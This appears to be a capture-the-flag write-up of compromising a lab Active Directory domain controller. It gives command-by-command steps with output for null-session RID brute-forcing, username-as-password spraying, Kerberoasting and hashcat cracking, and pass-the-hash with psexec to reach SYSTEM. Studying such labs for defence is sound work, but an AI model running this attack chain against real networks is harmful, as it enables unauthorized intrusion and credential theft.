Nmap scan revealed a Domain Controller with Kerberos (88), LDAP (389), SMB (445). Hostname: DC01, domain SOUPEDECODE.LOCAL.
nmap -sC -sV 10.49.167.13 -oA soupedecode_scan
10.49.167.13 dc01.soupedecode.local.nxc smb 10.49.167.13 -u 'guest' -p ''
[+] SOUPEDECODE.LOCAL\guest: (STATUS_SUCCESS)
Guest account is enabled with blank password. This gives us null session access to IPC$ — the gateway for RID brute forcing.
nxc smb 10.49.167.13 -u 'awdawd' -p '' --shares
IPC$ share readable. Using the null session, we perform RID brute force to enumerate every domain user and group.
nxc smb 10.49.167.13 -u 'awdawd' -p '' --rid-brute | grep SidTypeUser > users_raw.txt
Extract clean usernames → users.txt. The RID brute technique relies on the SAMR pipe over IPC$ to resolve SIDs.
| Well-known RID | Object |
|---|---|
| 500 | Administrator |
| 501 | Guest |
| 512 | Domain Admins |
| 1000+ | custom users (ybob317, etc) |
nxc smb 10.49.167.13 -u users.txt -p users.txt --no-brute --continue-on-success
[+] SOUPEDECODE.LOCAL\ybob317:ybob317 (Pwn3d!)
Valid credentials: ybob317:ybob317. User uses username as password — weak security hygiene.
impacket-GetUserSPNs SOUPEDECODE.LOCAL/ybob317:ybob317 -dc-ip 10.49.167.13 -request
Found 5 Kerberoastable accounts: file_svc, backup_svc, web_svc, monitoring_svc, firewall_svc. Extracted TGS-REP hashes (etype 23).
hashcat -m 13100 soupedecode.hashes /usr/share/wordlists/rockyou.txt
Password123! (file_svc)
Password cracked: Password123! for file_svc.
smbclient //10.49.167.13/backup -U file_svc%'Password123!'
backup_extract.txt
The backup share leaked NTLM hashes of machine accounts. FileServer$ hash is particularly powerful: machine accounts often have domain admin privileges on DCs.
nxc smb 10.49.167.13 -u 'FileServer$' -H e41da7e79a4c76dbd9cf79d1cb325559 --shares
[+] ADMIN$, C$, NETLOGON — READ/WRITE — Pwn3d!
impacket-psexec SOUPEDECODE.LOCAL/'FileServer$'@10.49.167.13 -hashes :e41da7e79a4c76dbd9cf79d1cb325559
[*] Starting service PSEXESVC
Microsoft Windows [Version 10.0.20348.587]
C:\Windows\system32> whoami
nt authority\system
Navigate to Administrator's Desktop and capture final flags:
C:\Users\Administrator\Desktop> type root.txt
C:\Users\ybob317\Desktop> type user.txt
One misconfiguration (Guest enabled + IPC$ null session) plus weak password hygiene (username as password) led to a complete Active Directory compromise. The attack chain used only built-in AD features: RID brute force, Kerberoasting, Pass-the-Hash — no zero‑days required.
Tools: Nmap, NetExec, Impacket (GetUserSPNs, psexec), Hashcat, smbclient.
After obtaining SYSTEM, DCSync was possible, but the main goal was achieving full domain control. The backup share misconfiguration allowed extraction of NTLM hashes that directly escalated privileges via PtH. Always harden Kerberoastable accounts, disable guest, and enforce strong passwords.